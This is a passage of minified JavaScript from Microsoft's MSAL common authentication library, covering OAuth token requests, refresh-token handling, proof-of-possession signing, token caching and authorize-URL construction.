LH1={};_q(LH1,{uxNotAllowed:()=>CH1,refreshTokenExpired:()=>lbA,noTokensFound:()=>uo,nativeAccountUnavailable:()=>cbA,loginRequired:()=>IX6,interactionRequired:()=>RX6,consentRequired:()=>yX6,badToken:()=>Bo});var uo="no_tokens_found",cbA="native_account_unavailable",lbA="refresh_token_expired",CH1="ux_not_allowed",RX6="interaction_required",yX6="consent_required",IX6="login_required",Bo="bad_token";var RH1=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});function IH1(A,K,q){let Y=!!A&&U17.indexOf(A)>-1,z=!!q&&c8Y.indexOf(q)>-1,w=!!K&&U17.some((H)=>{return K.indexOf(H)>-1});return Y||w||z}function SH1(A){return new FT(A,yH1[A])}var U17,c8Y,yH1,SX6,FT;var ibA=k(()=>{zH();DC();RH1();/*! @azure/msal-common v15.13.1 2025-10-29 */U17=[RX6,yX6,IX6,Bo,CH1],c8Y=["message_only","additional_action","basic_action","user_password_expired","consent_required","bad_token"],yH1={[uo]:"No refresh token found in the cache. Please sign-in.",[cbA]:"The requested account is not available in the native broker. It may have been deleted or logged out. Please sign-in again using an interactive API.",[lbA]:"Refresh token has expired.",[Bo]:"Identity provider returned bad_token due to an expired or invalid refresh token. Please invoke an interactive API to resolve.",[CH1]:"`canShowUI` flag in Edge was set to false. User interaction required on web page. Please invoke an interactive API to resolve."},SX6={noTokensFoundError:{code:uo,desc:yH1[uo]},native_account_unavailable:{code:cbA,desc:yH1[cbA]},bad_token:{code:Bo,desc:yH1[Bo]}};FT=class FT extends V5{constructor(A,K,q,Y,z,w,H,J){super(A,K,q);Object.setPrototypeOf(this,FT.prototype),this.timestamp=Y||u6.EMPTY_STRING,this.traceId=z||u6.EMPTY_STRING,this.correlationId=w||u6.EMPTY_STRING,this.claims=H||u6.EMPTY_STRING,this.name="InteractionRequiredAuthError",this.errorNo=J}}});class hH1{static setRequestState(A,K,q){let Y=hH1.generateLibraryState(A,q);return K?`${Y}${u6.RESOURCE_DELIM}${K}`:Y}static generateLibraryState(A,K){if(!A)throw t6(Co);let q={id:A.createNewGuid()};if(K)q.meta=K;let Y=JSON.stringify(q);return A.base64Encode(Y)}static parseRequestState(A,K){if(!A)throw t6(Co);if(!K)throw t6(HI);try{let q=K.split(u6.RESOURCE_DELIM),Y=q[0],z=q.length>1?q.slice(1).join(u6.RESOURCE_DELIM):u6.EMPTY_STRING,w=A.base64Decode(Y),H=JSON.parse(w);return{userRequestState:z||u6.EMPTY_STRING,libraryState:H}}catch(q){throw t6(HI)}}}var p17=k(()=>{zH();H$();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */});class RKA{constructor(A,K){this.cryptoUtils=A,this.performanceClient=K}async generateCnf(A,K){this.performanceClient?.addQueueMeasurement(j6.PopTokenGenerateCnf,A.correlationId);let q=await e9(this.generateKid.bind(this),j6.PopTokenGenerateCnf,K,this.performanceClient,A.correlationId)(A),Y=this.cryptoUtils.base64UrlEncode(JSON.stringify(q));return{kid:q.kid,reqCnfString:Y}}async generateKid(A){return this.performanceClient?.addQueueMeasurement(j6.PopTokenGenerateKid,A.correlationId),{kid:await this.cryptoUtils.getPublicKeyThumbprint(A),xms_ksl:l8Y.SW}}async signPopToken(A,K,q){return this.signPayload(A,K,q)}async signPayload(A,K,q,Y){let{resourceRequestMethod:z,resourceRequestUri:w,shrClaims:H,shrNonce:J,shrOptions:O}=q,$=(w?new p5(w):void 0)?.getUrlComponents();return this.cryptoUtils.signJwt({at:A,ts:gT(),m:z?.toUpperCase(),u:$?.HostNameAndPort,nonce:J||this.cryptoUtils.createNewGuid(),p:$?.AbsolutePath,q:$?.QueryString?[[],$.QueryString]:void 0,client_claims:H||void 0,...Y},K,O,q.correlationId)}}var l8Y;var bH1=k(()=>{xo();ho();JI();uU();/*! @azure/msal-common v15.13.1 2025-10-29 */l8Y={SW:"sw"}});class MC{constructor(A,K){this.cache=A,this.hasChanged=K}get cacheHasChanged(){return this.hasChanged}get tokenCache(){return this.cache}}var hX6=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});class K0{constructor(A,K,q,Y,z,w,H){this.clientId=A,this.cacheStorage=K,this.cryptoObj=q,this.logger=Y,this.serializableCache=z,this.persistencePlugin=w,this.performanceClient=H}validateTokenResponse(A,K){if(A.error||A.error_description||A.suberror){let q=`Error(s): ${A.error_codes||u6.NOT_AVAILABLE} - Timestamp: ${A.timestamp||u6.NOT_AVAILABLE} - Description: ${A.error_description||u6.NOT_AVAILABLE} - Correlation ID: ${A.correlation_id||u6.NOT_AVAILABLE} - Trace ID: ${A.trace_id||u6.NOT_AVAILABLE}`,Y=A.error_codes?.length?A.error_codes[0]:void 0,z=new RM(A.error,q,A.suberror,Y,A.status);if(K&&A.status&&A.status>=P5.SERVER_ERROR_RANGE_START&&A.status<=P5.SERVER_ERROR_RANGE_END){this.logger.warning(`executeTokenRequest:validateTokenResponse - AAD is currently unavailable and the access token is unable to be refreshed. ${z}`);return}else if(K&&A.status&&A.status>=P5.CLIENT_ERROR_RANGE_START&&A.status<=P5.CLIENT_ERROR_RANGE_END){this.logger.warning(`executeTokenRequest:validateTokenResponse - AAD is currently available but is unable to refresh the access token. ${z}`);return}if(IH1(A.error,A.error_description,A.suberror))throw new FT(A.error,A.error_description,A.suberror,A.timestamp||u6.EMPTY_STRING,A.trace_id||u6.EMPTY_STRING,A.correlation_id||u6.EMPTY_STRING,A.claims||u6.EMPTY_STRING,Y);throw z}}async handleServerTokenResponse(A,K,q,Y,z,w,H,J,O){this.performanceClient?.addQueueMeasurement(j6.HandleServerTokenResponse,A.correlation_id);let X;if(A.id_token){if(X=SU(A.id_token||u6.EMPTY_STRING,this.cryptoObj.base64Decode),z&&z.nonce){if(X.nonce!==z.nonce)throw t6(t7A)}if(Y.maxAge||Y.maxAge===0){let Z=X.auth_time;if(!Z)throw t6(EU);vbA(Z,Y.maxAge)}}this.homeAccountIdentifier=J$.generateHomeAccountId(A.client_info||u6.EMPTY_STRING,K.authorityType,this.logger,this.cryptoObj,X);let $;if(!!z&&!!z.state)$=hH1.parseRequestState(this.cryptoObj,z.state);A.key_id=A.key_id||Y.sshKid||void 0;let _=this.generateCacheRecord(A,K,q,Y,X,w,z),G;try{if(this.persistencePlugin&&this.serializableCache)this.logger.verbose("Persistence enabled, calling beforeCacheAccess"),G=new MC(this.serializableCache,!0),await this.persistencePlugin.beforeCacheAccess(G);if(H&&!J&&_.account){let Z=this.cacheStorage.generateAccountKey(J$.getAccountInfo(_.account));if(!this.cacheStorage.getAccount(Z,Y.correlationId))return this.logger.warning("Account used to refresh tokens not in persistence, refreshed tokens will not be stored in the cache"),await K0.generateAuthenticationResult(this.cryptoObj,K,_,!1,Y,X,$,void 0,O)}await this.cacheStorage.saveCacheRecord(_,Y.correlationId,j06(X||{}),Y.storeInCache)}finally{if(this.persistencePlugin&&this.serializableCache&&G)this.logger.verbose("Persistence enabled, calling afterCacheAccess"),await this.persistencePlugin.afterCacheAccess(G)}return K0.generateAuthenticationResult(this.cryptoObj,K,_,!1,Y,X,$,A,O)}generateCacheRecord(A,K,q,Y,z,w,H){let J=K.getPreferredCache();if(!J)throw t6(CU);let O=zH1(z),X,$;if(A.id_token&&!!z)X=TX6(this.homeAccountIdentifier,J,A.id_token,this.clientId,O||""),$=d17(this.cacheStorage,K,this.homeAccountIdentifier,this.cryptoObj.base64Decode,Y.correlationId,z,A.client_info,J,O,H,void 0,this.logger);let _=null;if(A.access_token){let W=A.scope?A0.fromString(A.scope):new A0(Y.scopes||[]),D=(typeof A.expires_in==="string"?parseInt(A.expires_in,10):A.expires_in)||0,j=(typeof A.ext_expires_in==="string"?parseInt(A.ext_expires_in,10):A.ext_expires_in)||0,M=(typeof A.refresh_in==="string"?parseInt(A.refresh_in,10):A.refresh_in)||void 0,P=q+D,f=P+j,N=M&&M>0?q+M:void 0;_=vX6(this.homeAccountIdentifier,J,A.access_token,this.clientId,O||K.tenant||"",W.printScopes(),P,f,this.cryptoObj.base64Decode,N,A.token_type,w,A.key_id,Y.claims,Y.requestedClaimsHash)}let G=null;if(A.refresh_token){let W;if(A.refresh_token_expires_in){let D=typeof A.refresh_token_expires_in==="string"?parseInt(A.refresh_token_expires_in,10):A.refresh_token_expires_in;W=q+D}G=EX6(this.homeAccountIdentifier,J,A.refresh_token,this.clientId,A.foci,w,W)}let Z=null;if(A.foci)Z={clientId:this.clientId,environment:J,familyId:A.foci};return{account:$,idToken:X,accessToken:_,refreshToken:G,appMetadata:Z}}static async generateAuthenticationResult(A,K,q,Y,z,w,H,J,O){let X=u6.EMPTY_STRING,$=[],_=null,G,Z,W=u6.EMPTY_STRING;if(q.accessToken){if(q.accessToken.tokenType===x9.POP&&!z.popKid){let P=new RKA(A),{secret:f,keyId:N}=q.accessToken;if(!N)throw t6(OKA);X=await P.signPopToken(f,N,z)}else X=q.accessToken.secret;if($=A0.fromString(q.accessToken.target).asArray(),_=UbA(q.accessToken.expiresOn),G=UbA(q.accessToken.extendedExpiresOn),q.accessToken.refreshOn)Z=UbA(q.accessToken.refreshOn)}if(q.appMetadata)W=q.appMetadata.familyId===No?No:"";let D=w?.oid||w?.sub||"",j=w?.tid||"";if(J?.spa_accountid&&!!q.account)q.account.nativeAccountId=J?.spa_accountid;let M=q.account?qH1(J$.getAccountInfo(q.account),void 0,w,q.idToken?.secret):null;return{authority:K.canonicalAuthority,uniqueId:D,tenantId:j,scopes:$,account:M,idToken:q?.idToken?.secret||"",idTokenClaims:w||{},accessToken:X,fromCache:Y,expiresOn:_,extExpiresOn:G,refreshOn:Z,correlationId:z.correlationId,requestId:O||u6.EMPTY_STRING,familyId:W,tokenType:q.accessToken?.tokenType||u6.EMPTY_STRING,state:H?H.userRequestState:u6.EMPTY_STRING,cloudGraphHostName:q.account?.cloudGraphHostName||u6.EMPTY_STRING,msGraphHost:q.account?.msGraphHost||u6.EMPTY_STRING,code:J?.spa_code,fromNativeBroker:!1}}}function d17(A,K,q,Y,z,w,H,J,O,X,$,_){_?.verbose("setCachedAccount called");let Z=A.getAccountKeys().find((P)=>{return P.startsWith(q)}),W=null;if(Z)W=A.getAccount(Z,z);let D=W||J$.createAccount({homeAccountId:q,idTokenClaims:w,clientInfo:H,environment:J,cloudGraphHostName:X?.cloud_graph_host_name,msGraphHost:X?.msgraph_host,nativeAccountId:$},K,Y),j=D.tenantProfiles||[],M=O||D.realm;if(M&&!j.find((P)=>{return P.tenantId===M})){let P=NbA(q,D.localAccountId,M,w);j.push(P)}return D.tenantProfiles=j,D}var nbA=k(()=>{H$();HGA();fbA();wH1();ibA();p17();zH();bH1();hX6();JI();t_A();D06();YH1();fH1();xo();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */});async function yM(A,K,q){if(typeof A==="string")return A;else return A({clientId:K,tokenEndpoint:q})}var xH1=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});var uH1;var c17=k(()=>{dbA();YGA();PKA();zH();KGA();$H1();nbA();So();H$();ho();bH1();xo();s_A();CbA();Io();JI();uU();xH1();EH1();zX();IU();/*! @azure/msal-common v15.13.1 2025-10-29 */uH1=class uH1 extends FD{constructor(A,K){super(A,K);this.includeRedirectUri=!0,this.oidcDefaultScopes=this.config.authOptions.authority.options.OIDCOptions?.defaultScopes}async acquireToken(A,K){if(this.performanceClient?.addQueueMeasurement(j6.AuthClientAcquireToken,A.correlationId),!A.code)throw t6(KKA);let q=gT(),Y=await e9(this.executeTokenRequest.bind(this),j6.AuthClientExecuteTokenRequest,this.logger,this.performanceClient,A.correlationId)(this.authority,A),z=Y.headers?.[YH.X_MS_REQUEST_ID],w=new K0(this.config.authOptions.clientId,this.cacheManager,this.cryptoUtils,this.logger,this.config.serializableCache,this.config.persistencePlugin,this.performanceClient);return w.validateTokenResponse(Y.body),e9(w.handleServerTokenResponse.bind(w),j6.HandleServerTokenResponse,this.logger,this.performanceClient,A.correlationId)(Y.body,this.authority,q,A,K,void 0,void 0,void 0,z)}getLogoutUri(A){if(!A)throw az(WKA);let K=this.createLogoutUrlQueryString(A);return p5.appendQueryString(this.authority.endSessionEndpoint,K)}async executeTokenRequest(A,K){this.performanceClient?.addQueueMeasurement(j6.AuthClientExecuteTokenRequest,K.correlationId);let q=this.createTokenQueryParameters(K),Y=p5.appendQueryString(A.tokenEndpoint,q),z=await e9(this.createTokenRequestBody.bind(this),j6.AuthClientCreateTokenRequestBody,this.logger,this.performanceClient,K.correlationId)(K),w=void 0;if(K.clientInfo)try{let O=a_A(K.clientInfo,this.cryptoUtils.base64Decode);w={credential:`${O.uid}${vU.CLIENT_INFO_SEPARATOR}${O.utid}`,type:CM.HOME_ACCOUNT_ID}}catch(O){this.logger.verbose("Could not parse client info for CCS Header: "+O)}let H=this.createTokenRequestHeaders(w||K.ccsCredential),J=JGA(this.config.authOptions.clientId,K);return e9(this.executePostToTokenEndpoint.bind(this),j6.AuthorizationCodeClientExecutePostToTokenEndpoint,this.logger,this.performanceClient,K.correlationId)(Y,z,H,J,K.correlationId,j6.AuthorizationCodeClientExecutePostToTokenEndpoint)}async createTokenRequestBody(A){this.performanceClient?.addQueueMeasurement(j6.AuthClientCreateTokenRequestBody,A.correlationId);let K=new Map;if(vKA(K,A.embeddedClientId||A.tokenBodyParameters?.[ku]||this.config.authOptions.clientId),!this.includeRedirectUri){if(!A.redirectUri)throw az(XKA)}else EKA(K,A.redirectUri);if(TKA(K,A.scopes,!0,this.oidcDefaultScopes),MX6(K,A.code),RbA(K,this.config.libraryInfo),ybA(K,this.config.telemetry.application),FbA(K),this.serverTelemetryManager&&!XH1(this.config))gbA(K,this.serverTelemetryManager);if(A.codeVerifier)VX6(K,A.codeVerifier);if(this.config.clientCredentials.clientSecret)SbA(K,this.config.clientCredentials.clientSecret);if(this.config.clientCredentials.clientAssertion){let Y=this.config.clientCredentials.clientAssertion;hbA(K,await yM(Y.assertion,this.config.authOptions.clientId,A.resourceRequestUri)),bbA(K,Y.assertionType)}if(xbA(K,aV.AUTHORIZATION_CODE_GRANT),LKA(K),A.authenticationScheme===x9.POP){let Y=new RKA(this.cryptoUtils,this.performanceClient),z;if(!A.popKid)z=(await e9(Y.generateCnf.bind(Y),j6.PopTokenGenerateCnf,this.logger,this.performanceClient,A.correlationId)(A,this.logger)).reqCnfString;else z=this.cryptoUtils.encodeKid(A.popKid);BbA(K,z)}else if(A.authenticationScheme===x9.SSH)if(A.sshJwk)mbA(K,A.sshJwk);else throw az(yU);if(!Vw.isEmptyObj(A.claims)||this.config.authOptions.clientCapabilities&&this.config.authOptions.clientCapabilities.length>0)kKA(K,A.claims,this.config.authOptions.clientCapabilities);let q=void 0;if(A.clientInfo)try{let Y=a_A(A.clientInfo,this.cryptoUtils.base64Decode);q={credential:`${Y.uid}${vU.CLIENT_INFO_SEPARATOR}${Y.utid}`,type:CM.HOME_ACCOUNT_ID}}catch(Y){this.logger.verbose("Could not parse client info for CCS Header: "+Y)}else q=A.ccsCredential;if(this.config.systemOptions.preventCorsPreflight&&q)switch(q.type){case CM.HOME_ACCOUNT_ID:try{let Y=vu(q.credential);hU(K,Y)}catch(Y){this.logger.verbose("Could not parse home account ID for CCS Header: "+Y)}break;case CM.UPN:bo(K,q.credential);break}if(A.embeddedClientId)xU(K,this.config.authOptions.clientId,this.config.authOptions.redirectUri);if(A.tokenBodyParameters)bU(K,A.tokenBodyParameters);if(A.enableSpaAuthorizationCode&&(!A.tokenBodyParameters||!A.tokenBodyParameters[WH1]))bU(K,{[WH1]:"1"});return NKA(K,A.correlationId,this.performanceClient),Eu(K)}createLogoutUrlQueryString(A){let K=new Map;if(A.postLogoutRedirectUri)GX6(K,A.postLogoutRedirectUri);if(A.correlationId)CKA(K,A.correlationId);if(A.idTokenHint)ZX6(K,A.idTokenHint);if(A.state)IbA(K,A.state);if(A.logoutHint)fX6(K,A.logoutHint);if(A.extraQueryParameters)bU(K,A.extraQueryParameters);if(this.config.authOptions.instanceAware)ubA(K);return Eu(K,this.config.authOptions.encodeExtraQueryParams,A.extraQueryParameters)}}});var i8Y=300,OGA;var l17=k(()=>{$H1();dbA();YGA();PKA();zH();KGA();nbA();bH1();So();Io();H$();HGA();xo();ho();CbA();s_A();ibA();JI();uU();xH1();EH1();RH1();IU();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */OGA=class OGA extends FD{constructor(A,K){super(A,K)}async acquireToken(A){this.performanceClient?.addQueueMeasurement(j6.RefreshTokenClientAcquireToken,A.correlationId);let K=gT(),q=await e9(this.executeTokenRequest.bind(this),j6.RefreshTokenClientExecuteTokenRequest,this.logger,this.performanceClient,A.correlationId)(A,this.authority),Y=q.headers?.[YH.X_MS_REQUEST_ID],z=new K0(this.config.authOptions.clientId,this.cacheManager,this.cryptoUtils,this.logger,this.config.serializableCache,this.config.persistencePlugin);return z.validateTokenResponse(q.body),e9(z.handleServerTokenResponse.bind(z),j6.HandleServerTokenResponse,this.logger,this.performanceClient,A.correlationId)(q.body,this.authority,K,A,void 0,void 0,!0,A.forceCache,Y)}async acquireTokenByRefreshToken(A){if(!A)throw az(ZKA);if(this.performanceClient?.addQueueMeasurement(j6.RefreshTokenClientAcquireTokenByRefreshToken,A.correlationId),!A.account)throw t6(kU);if(this.cacheManager.isAppMetadataFOCI(A.account.environment))try{return await e9(this.acquireTokenWithCachedRefreshToken.bind(this),j6.RefreshTokenClientAcquireTokenWithCachedRefreshToken,this.logger,this.performanceClient,A.correlationId)(A,!0)}catch(q){let Y=q instanceof FT&&q.errorCode===uo,z=q instanceof RM&&q.errorCode===lhA.INVALID_GRANT_ERROR&&q.subError===lhA.CLIENT_MISMATCH_ERROR;if(Y||z)return e9(this.acquireTokenWithCachedRefreshToken.bind(this),j6.RefreshTokenClientAcquireTokenWithCachedRefreshToken,this.logger,this.performanceClient,A.correlationId)(A,!1);else throw q}return e9(this.acquireTokenWithCachedRefreshToken.bind(this),j6.RefreshTokenClientAcquireTokenWithCachedRefreshToken,this.logger,this.performanceClient,A.correlationId)(A,!1)}async acquireTokenWithCachedRefreshToken(A,K){this.performanceClient?.addQueueMeasurement(j6.RefreshTokenClientAcquireTokenWithCachedRefreshToken,A.correlationId);let q=B17(this.cacheManager.getRefreshToken.bind(this.cacheManager),j6.CacheManagerGetRefreshToken,this.logger,this.performanceClient,A.correlationId)(A.account,K,A.correlationId,void 0,this.performanceClient);if(!q)throw SH1(uo);if(q.expiresOn&&zGA(q.expiresOn,A.refreshTokenExpirationOffsetSeconds||i8Y))throw this.performanceClient?.addFields({rtExpiresOnMs:Number(q.expiresOn)},A.correlationId),SH1(lbA);let Y={...A,refreshToken:q.secret,authenticationScheme:A.authenticationScheme||x9.BEARER,ccsCredential:{credential:A.account.homeAccountId,type:CM.HOME_ACCOUNT_ID}};try{return await e9(this.acquireToken.bind(this),j6.RefreshTokenClientAcquireToken,this.logger,this.performanceClient,A.correlationId)(Y)}catch(z){if(z instanceof FT){if(this.performanceClient?.addFields({rtExpiresOnMs:Number(q.expiresOn)},A.correlationId),z.subError===Bo){this.logger.verbose("acquireTokenWithRefreshToken: bad refresh token, removing from cache");let w=this.cacheManager.generateCredentialKey(q);this.cacheManager.removeRefreshToken(w,A.correlationId)}}throw z}}async executeTokenRequest(A,K){this.performanceClient?.addQueueMeasurement(j6.RefreshTokenClientExecuteTokenRequest,A.correlationId);let q=this.createTokenQueryParameters(A),Y=p5.appendQueryString(K.tokenEndpoint,q),z=await e9(this.createTokenRequestBody.bind(this),j6.RefreshTokenClientCreateTokenRequestBody,this.logger,this.performanceClient,A.correlationId)(A),w=this.createTokenRequestHeaders(A.ccsCredential),H=JGA(this.config.authOptions.clientId,A);return e9(this.executePostToTokenEndpoint.bind(this),j6.RefreshTokenClientExecutePostToTokenEndpoint,this.logger,this.performanceClient,A.correlationId)(Y,z,w,H,A.correlationId,j6.RefreshTokenClientExecutePostToTokenEndpoint)}async createTokenRequestBody(A){this.performanceClient?.addQueueMeasurement(j6.RefreshTokenClientCreateTokenRequestBody,A.correlationId);let K=new Map;if(vKA(K,A.embeddedClientId||A.tokenBodyParameters?.[ku]||this.config.authOptions.clientId),A.redirectUri)EKA(K,A.redirectUri);if(TKA(K,A.scopes,!0,this.config.authOptions.authority.options.OIDCOptions?.defaultScopes),xbA(K,aV.REFRESH_TOKEN_GRANT),LKA(K),RbA(K,this.config.libraryInfo),ybA(K,this.config.telemetry.application),FbA(K),this.serverTelemetryManager&&!XH1(this.config))gbA(K,this.serverTelemetryManager);if(PX6(K,A.refreshToken),this.config.clientCredentials.clientSecret)SbA(K,this.config.clientCredentials.clientSecret);if(this.config.clientCredentials.clientAssertion){let q=this.config.clientCredentials.clientAssertion;hbA(K,await yM(q.assertion,this.config.authOptions.clientId,A.resourceRequestUri)),bbA(K,q.assertionType)}if(A.authenticationScheme===x9.POP){let q=new RKA(this.cryptoUtils,this.performanceClient),Y;if(!A.popKid)Y=(await e9(q.generateCnf.bind(q),j6.PopTokenGenerateCnf,this.logger,this.performanceClient,A.correlationId)(A,this.logger)).reqCnfString;else Y=this.cryptoUtils.encodeKid(A.popKid);BbA(K,Y)}else if(A.authenticationScheme===x9.SSH)if(A.sshJwk)mbA(K,A.sshJwk);else throw az(yU);if(!Vw.isEmptyObj(A.claims)||this.config.authOptions.clientCapabilities&&this.config.authOptions.clientCapabilities.length>0)kKA(K,A.claims,this.config.authOptions.clientCapabilities);if(this.config.systemOptions.preventCorsPreflight&&A.ccsCredential)switch(A.ccsCredential.type){case CM.HOME_ACCOUNT_ID:try{let q=vu(A.ccsCredential.credential);hU(K,q)}catch(q){this.logger.verbose("Could not parse home account ID for CCS Header: "+q)}break;case CM.UPN:bo(K,A.ccsCredential.credential);break}if(A.embeddedClientId)xU(K,this.config.authOptions.clientId,this.config.authOptions.redirectUri);if(A.tokenBodyParameters)bU(K,A.tokenBodyParameters);return NKA(K,A.correlationId,this.performanceClient),Eu(K)}}});var BH1;var i17=k(()=>{dbA();xo();H$();nbA();zH();So();t_A();JI();uU();TH1();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */BH1=class BH1 extends FD{constructor(A,K){super(A,K)}async acquireCachedToken(A){this.performanceClient?.addQueueMeasurement(j6.SilentFlowClientAcquireCachedToken,A.correlationId);let K=Pw.NOT_APPLICABLE;if(A.forceRefresh||!this.config.cacheOptions.claimsBasedCachingEnabled&&!Vw.isEmptyObj(A.claims))throw this.setCacheOutcome(Pw.FORCE_REFRESH_OR_CLAIMS,A.correlationId),t6(LU);if(!A.account)throw t6(kU);let q=A.account.tenantId||g17(A.authority),Y=this.cacheManager.getTokenKeys(),z=this.cacheManager.getAccessToken(A.account,A,Y,q);if(!z)throw this.setCacheOutcome(Pw.NO_CACHED_ACCESS_TOKEN,A.correlationId),t6(LU);else if(NX6(z.cachedAt)||zGA(z.expiresOn,this.config.systemOptions.tokenRenewalOffsetSeconds))throw this.setCacheOutcome(Pw.CACHED_ACCESS_TOKEN_EXPIRED,A.correlationId),t6(LU);else if(z.refreshOn&&zGA(z.refreshOn,0))K=Pw.PROACTIVELY_REFRESHED;let w=A.authority||this.authority.getPreferredCache(),H={account:this.cacheManager.getAccount(this.cacheManager.generateAccountKey(A.account),A.correlationId),accessToken:z,idToken:this.cacheManager.getIdToken(A.account,A.correlationId,Y,q,this.performanceClient),refreshToken:null,appMetadata:this.cacheManager.readAppMetadataFromCache(w)};if(this.setCacheOutcome(K,A.correlationId),this.config.serverTelemetryManager)this.config.serverTelemetryManager.incrementCacheHits();return[await e9(this.generateResultFromCacheRecord.bind(this),j6.SilentFlowClientGenerateResultFromCacheRecord,this.logger,this.performanceClient,A.correlationId)(H,A),K]}setCacheOutcome(A,K){if(this.serverTelemetryManager?.setCacheOutcome(A),this.performanceClient?.addFields({cacheOutcome:A},K),A!==Pw.NOT_APPLICABLE)this.logger.info(`Token refresh is required due to cache outcome: ${A}`)}async generateResultFromCacheRecord(A,K){this.performanceClient?.addQueueMeasurement(j6.SilentFlowClientGenerateResultFromCacheRecord,K.correlationId);let q;if(A.idToken)q=SU(A.idToken.secret,this.config.cryptoInterface.base64Decode);if(K.maxAge||K.maxAge===0){let Y=q?.auth_time;if(!Y)throw t6(EU);vbA(Y,K.maxAge)}return K0.generateAuthenticationResult(this.cryptoUtils,this.authority,A,!0,K,q)}}});var rbA={};_q(rbA,{validateAuthorizationResponse:()=>n17,getStandardAuthorizeRequestParameters:()=>n8Y,getAuthorizeUrl:()=>r8Y,getAuthorizationCodePayload:()=>o8Y});function n8Y(A,K,q,Y){let z=K.correlationId,w=new Map;vKA(w,K.embeddedClientId||K.extraQueryParameters?.[ku]||A.clientId);let H=[...K.scopes||[],...K.extraScopesToConsent||[]];if(TKA(w,H,!0,A.authority.options.OIDCOptions?.defaultScopes),EKA(w,K.redirectUri),CKA(w,z),_X6(w,K.responseMode),LKA(w),K.prompt)DX6(w,K.prompt),Y?.addFields({prompt:K.prompt},z);if(K.domainHint)WX6(w,K.domainHint),Y?.addFields({domainHintFromRequest:!0},z);if(K.prompt!==fo.SELECT_ACCOUNT){if(K.sid&&K.prompt===fo.NONE)q.verbose("createAuthCodeUrlQueryString: Prompt is none, adding sid from request"),jH1(w,K.sid),Y?.addFields({sidFromRequest:!0},z);else if(K.account){let J=s8Y(K.account),O=t8Y(K.account);if(O&&K.domainHint)q.warning('AuthorizationCodeClient.createAuthCodeUrlQueryString: "domainHint" param is set, skipping opaque "login_hint" claim. Please consider not passing domainHint'),O=null;if(O){q.verbose("createAuthCodeUrlQueryString: login_hint claim present on account"),qGA(w,O),Y?.addFields({loginHintFromClaim:!0},z);try{let X=vu(K.account.homeAccountId);hU(w,X)}catch(X){q.verbose("createAuthCodeUrlQueryString: Could not parse home account ID for CCS Header")}}else if(J&&K.prompt===fo.NONE){q.verbose("createAuthCodeUrlQueryString: Prompt is none, adding sid from account"),jH1(w,J),Y?.addFields({sidFromClaim:!0},z);try{let X=vu(K.account.homeAccountId);hU(w,X)}catch(X){q.verbose("createAuthCodeUrlQueryString: Could not parse home account ID for CCS Header")}}else if(K.loginHint)q.verbose("createAuthCodeUrlQueryString: Adding login_hint from request"),qGA(w,K.loginHint),bo(w,K.loginHint),Y?.addFields({loginHintFromRequest:!0},z);else if(K.account.username){q.verbose("createAuthCodeUrlQueryString: Adding login_hint from account"),qGA(w,K.account.username),Y?.addFields({loginHintFromUpn:!0},z);try{let X=vu(K.account.homeAccountId);hU(w,X)}catch(X){q.verbose("createAuthCodeUrlQueryString: Could not parse home account ID for CCS Header")}}}else if(K.loginHint)q.verbose("createAuthCodeUrlQueryString: No account, adding login_hint from request"),qGA(w,K.loginHint),bo(w,K.loginHint),Y?.addFields({loginHintFromRequest:!0},z)}else q.verbose("createAuthCodeUrlQueryString: Prompt is select_account, ignoring account hints");if(K.nonce)jX6(w,K.nonce);if(K.state)IbA(w,K.state);if(K.claims||A.clientCapabilities&&A.clientCapabilities.length>0)kKA(w,K.claims,A.clientCapabilities);if(K.embeddedClientId)xU(w,A.clientId,A.redirectUri);if(A.instanceAware&&(!K.extraQueryParameters||!Object.keys(K.extraQueryParameters).includes(AGA)))ubA(w);return w}function r8Y(A,K,q,Y){let z=Eu(K,q,Y);return p5.appendQueryString(A.authorizationEndpoint,z)}function o8Y(A,K){if(n17(A,K),!A.code)throw t6(HKA);return A}function n17(A,K){if(!A.state||!K)throw A.state?t6(Eo,"Cached State"):t6(Eo,"Server State");let q,Y;try{q=decodeURIComponent(A.state)}catch(z){throw t6(HI,A.state)}try{Y=decodeURIComponent(K)}catch(z){throw t6(HI,A.state)}if(q!==Y)throw t6(s7A);if(A.error||A.error_description||A.suberror){let z=a8Y(A);if(IH1(A.error,A.error_description,A.suberror))throw new FT(A.error||"",A.error_description,A.suberror,A.timestamp||"",A.trace_id||"",A.correlation_id||"",A.claims||"",z);throw new RM(A.error||"",A.error_description,A.suberror,z)}}function a8Y(A){let q=A.error_uri?.lastIndexOf("code=");return q&&q>=0?A.error_uri?.substring(q+5):void 0}function s8Y(A){return A.idTokenClaims?.sid||null}function t8Y(A){return A.loginHint||A.idTokenClaims?.login_hint||null}var r17=k(()=>{YGA();KGA();zH();s_A();PKA();ho();H$();ibA();HGA();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */});function e8Y(A){let{skus:K,libraryName:q,libraryVersion:Y,extensionName:z,extensionVersion:w}=A,H=new Map([[0,[q,Y]],[2,[z,w]]]),J=[];if(K?.length){if(J=K.split(o17),J.length<4)return K}else J=Array.from({length:4},()=>a17);return H.forEach((O,X)=>{if(O.length===2&&O[0]?.length&&O[1]?.length)A4Y({skuArr:J,index:X,skuName:O[0],skuVersion:O[1]})}),J.join(o17)}function A4Y(A){let{skuArr:K,index:q,skuName:Y,skuVersion:z}=A;if(q>=K.length)return;K[q]=[Y,z].join(a17)}class mo{constructor(A,K){this.cacheOutcome=Pw.NOT_APPLICABLE,this.cacheManager=K,this.apiId=A.apiId,this.correlationId=A.correlationId,this.wrapperSKU=A.wrapperSKU||u6.EMPTY_STRING,this.wrapperVer=A.wrapperVer||u6.EMPTY_STRING,this.telemetryCacheKey=X_.CACHE_KEY+vU.CACHE_KEY_SEPARATOR+A.clientId}generateCurrentRequestHeaderValue(){let A=`${this.apiId}${X_.VALUE_SEPARATOR}${this.cacheOutcome}`,K=[this.wrapperSKU,this.wrapperVer],q=this.getNativeBrokerErrorCode();if(q?.length)K.push(`broker_error=${q}`);let Y=K.join(X_.VALUE_SEPARATOR),z=this.getRegionDiscoveryFields(),w=[A,z].join(X_.VALUE_SEPARATOR);return[X_.SCHEMA_VERSION,w,Y].join(X_.CATEGORY_SEPARATOR)}generateLastRequestHeaderValue(){let 